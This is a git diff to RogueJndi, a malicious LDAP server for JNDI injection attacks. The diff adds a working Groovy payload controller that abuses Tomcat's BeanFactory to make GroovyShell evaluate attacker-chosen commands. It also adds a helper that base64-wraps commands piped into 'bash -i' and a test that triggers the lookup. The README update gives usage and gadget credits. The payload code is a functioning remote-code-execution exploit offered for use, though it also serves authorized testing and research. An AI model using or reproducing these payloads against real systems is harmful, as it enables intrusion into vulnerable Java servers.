diff --git a/README.md b/README.md
index 1a0e233..7b14ffd 100755
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@ A malicious LDAP server for JNDI injection attacks.
The project contains LDAP & HTTP servers for exploiting insecure-by-default Java JNDI API.
In order to perform an attack, you can start these servers locally and then trigger a JNDI resolution on the vulnerable client, e.g.:
```java
-InitialContext.lookup("ldap://your_server.com:1389/o=reference");
+InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
```
It will initiate a connection from the vulnerable client to the local LDAP server.
Then, the local server responds with a malicious entry containing one of the payloads, that can be useful to achieve a Remote Code Execution.
@@ -16,6 +16,7 @@ In addition to the known JNDI attack methods(via remote classloading in referenc
### Supported payloads
* [RemoteReference.java](/src/main/java/artsploit/controllers/RemoteReference.java) - classic JNDI attack, leads to RCE via remote classloading, works up to jdk8u191
* [Tomcat.java](/src/main/java/artsploit/controllers/Tomcat.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory**
+* [Groovy.java](/src/main/java/artsploit/controllers/Groovy.java) - leads to RCE via unsafe reflection in **org.apache.naming.factory.BeanFactory** + **groovy.lang.GroovyShell**
* [WebSphere1.java](/src/main/java/artsploit/controllers/WebSphere1.java) - leads to OOB XXE in **com.ibm.ws.webservices.engine.client.ServiceFactory**
* [WebSphere2.java](/src/main/java/artsploit/controllers/WebSphere2.java) - leads to RCE via classpath manipulation in **com.ibm.ws.client.applicationclient.ClientJ2CCFFactory**
@@ -47,7 +48,7 @@ As an alternative to the "-c" option, you can modify the [ExportObject.java](/sr
### Example:
```
-$ java -jar target/RogueJndi-1.0.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
@@ -56,6 +57,7 @@ Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
+Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
@@ -75,9 +77,11 @@ This software is provided solely for educational purposes and/or for testing sys
* [Alvaro Muñoz](https://twitter.com/pwntester) and [Oleksandr Mirosh](https://twitter.com/olekmirosh) for the excellent [whitepaper](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf) on JNDI attacks
* [@zerothoughts](https://github.com/zerothoughts) for the inspirational [spring-jndi](https://github.com/zerothoughts/spring-jndi) repository
* [Moritz Bechler](https://github.com/zerothoughts) for the eminent [marshallsec](https://github.com/mbechler/marshalsec) research
+* [Orange Tsai](https://twitter.com/orange_8361) and [Welk1n](https://github.com/welk1n) for the Apache + Groovy gadget
### Links
* An article about [Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) in the Veracode Blog
+* [How I Hacked Facebook Again! Unauthenticated RCE on MobileIron MDM](https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html)
### Authors
-[Michael Stepankin](https://twitter.com/artsploit), Veracode Research
\ No newline at end of file
+[Michael Stepankin](https://twitter.com/artsploit)
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index e962d83..399476d 100644
--- a/pom.xml
+++ b/pom.xml
@@ -4,7 +4,7 @@
RogueJndi
RogueJndi
- 1.0
+ 1.1
jar
@@ -38,6 +38,12 @@
0.9.12
+
+ org.codehaus.groovy
+ groovy
+ 2.4.5
+
+
org.apache.commons
commons-text
diff --git a/src/main/java/artsploit/Utilities.java b/src/main/java/artsploit/Utilities.java
index d894091..dc24eab 100644
--- a/src/main/java/artsploit/Utilities.java
+++ b/src/main/java/artsploit/Utilities.java
@@ -4,6 +4,7 @@ import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.ArrayList;
+import java.util.Base64;
public class Utilities {
@@ -40,4 +41,15 @@ public class Utilities {
else
return baseDN.substring(startIndex, endIndex);
}
+
+ /**
+ * Encode bash command with Base64 to safely use within any script
+ * @param command
+ * @return
+ */
+ public static String getBase64CommandTpl(String command) {
+ return "bash -c {echo," +
+ Base64.getEncoder().encodeToString(command.getBytes()) +
+ "}|{base64,-d}|{bash,-i}";
+ }
}
diff --git a/src/main/java/artsploit/controllers/Groovy.java b/src/main/java/artsploit/controllers/Groovy.java
new file mode 100644
index 0000000..47fd6c3
--- /dev/null
+++ b/src/main/java/artsploit/controllers/Groovy.java
@@ -0,0 +1,51 @@
+package artsploit.controllers;
+
+import artsploit.Config;
+import artsploit.annotations.LdapMapping;
+import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
+import com.unboundid.ldap.sdk.Entry;
+import com.unboundid.ldap.sdk.LDAPResult;
+import com.unboundid.ldap.sdk.ResultCode;
+import org.apache.naming.ResourceRef;
+
+import javax.naming.StringRefAddr;
+
+import static artsploit.Utilities.getBase64CommandTpl;
+import static artsploit.Utilities.serialize;
+
+/**
+ * Yields:
+ * RCE via arbitrary bean creation in {@link org.apache.naming.factory.BeanFactory}
+ * When bean is created on the server side, we can control its class name and setter methods,
+ * so we can leverage {@link groovy.lang.GroovyShell#evaluate} method to execute arbitrary Groovy script
+ *
+ * @see https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html for details
+ *
+ * Requires:
+ * Tomcat and Groovy in classpath
+ *
+ * @author https://twitter.com/orange_8361 and https://github.com/welk1n
+ */
+@LdapMapping(uri = { "/o=groovy" })
+public class Groovy implements LdapController {
+
+ String payload = "'${cmd}'.execute()".replace("${cmd}", getBase64CommandTpl(Config.command));
+
+ public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
+
+ System.out.println("Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload");
+
+ Entry e = new Entry(base);
+ e.addAttribute("javaClassName", "java.lang.String"); //could be any
+
+ //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
+ ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
+ ref.add(new StringRefAddr("forceString", "x=evaluate"));
+ ref.add(new StringRefAddr("x",payload));
+
+ e.addAttribute("javaSerializedData", serialize(ref));
+
+ result.sendSearchEntry(e);
+ result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
+ }
+}
diff --git a/src/main/java/artsploit/controllers/Tomcat.java b/src/main/java/artsploit/controllers/Tomcat.java
index ce40061..b1d1c79 100644
--- a/src/main/java/artsploit/controllers/Tomcat.java
+++ b/src/main/java/artsploit/controllers/Tomcat.java
@@ -22,6 +22,7 @@ import static artsploit.Utilities.serialize;
* @see https://www.veracode.com/blog/research/exploiting-jndi-injections-java for details
*
* Requires:
+ * Tomcat 8+ or SpringBoot 1.2.x+ in classpath
* - tomcat-embed-core.jar
* - tomcat-embed-el.jar
*
diff --git a/src/test/java/RogueJndiTest.java b/src/test/java/RogueJndiTest.java
index 86b3e6e..9e3ca55 100644
--- a/src/test/java/RogueJndiTest.java
+++ b/src/test/java/RogueJndiTest.java
@@ -22,6 +22,7 @@ public class RogueJndiTest {
RogueJndi.main(new String[0]);
}
+ @Ignore
@Test
public void reference() throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
@@ -33,6 +34,11 @@ public class RogueJndiTest {
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=tomcat");
}
+ @Test
+ public void groovy() throws Exception {
+ testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=groovy");
+ }
+
@Ignore
@Test
public void websphere1() throws Exception {